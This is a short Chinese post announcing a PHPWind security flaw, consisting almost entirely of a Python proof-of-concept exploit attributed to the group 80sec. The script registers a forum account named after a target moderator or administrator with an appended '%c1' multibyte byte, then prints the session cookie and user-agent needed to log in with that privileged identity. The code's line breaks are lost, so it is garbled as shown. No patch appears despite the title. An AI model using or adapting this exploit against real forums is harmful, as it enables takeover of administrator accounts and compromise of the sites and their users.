PHPWind驚暴嚴重安全漏洞 官方補丁下載

[code]# -*- coding: gb2312 -*-import urllib2,httplib,syshttplib.HTTPConnection.debuglevel = 1cookIEs = urllib2.HTTPCookieProcessor()opener = urllib2.build_opener(cookies)def banner():    print ""    print "########################################################"    print "Phpwind所有版本管理權限洩露漏洞利用poc"    print "Copyright (C) 2006"    print "[email protected]"    print "80sec是一個新的致力於web安全的小團體"    print "http://www.80sec.com"def usage():    banner()    print "Usage:/n"    print "   $ ./phpwind.py pwforumurl usertoattack/n"    print "   pwforumurl 目標論壇地址如http://www.80sec.com/"    print "   usertoattack 目標擁有權限的斑竹或管理員"    print "   攻擊結果將會在目標論壇注冊一個和目標用戶一樣的帳戶"    print "   最新版本可以使用uid登陸"    print "   其他版本可以使用cookie+useragent登陸"    print "########################################################"    print ""argvs=sys.argvusage()data = "regname=%s%s1&regpwd=@80sec&regpwdrepeat=@80sec&[email protected]&regemailtoall=1&step=2" %(argvs[2],"%c1")pwurl = "%s/register.php" % argvs[1]request = urllib2.Request(url     = pwurl ,        headers = {'Content-Type' : 'application/x-www-form-urlencoded','User-Agent': '80sec owned this'},        data    = data)f=opener.open(request)headers=f.headers.dictcookie=headers["set-cookie"]try:if cookie.index('winduser'):print "Exploit Success!"print "Login with uid passWord @80sec or Cookie:"print cookieprint "User-agent: 80sec owned this"except:print "Error! http://www.80sec.com"print "Connect root#80sec.com"[/code]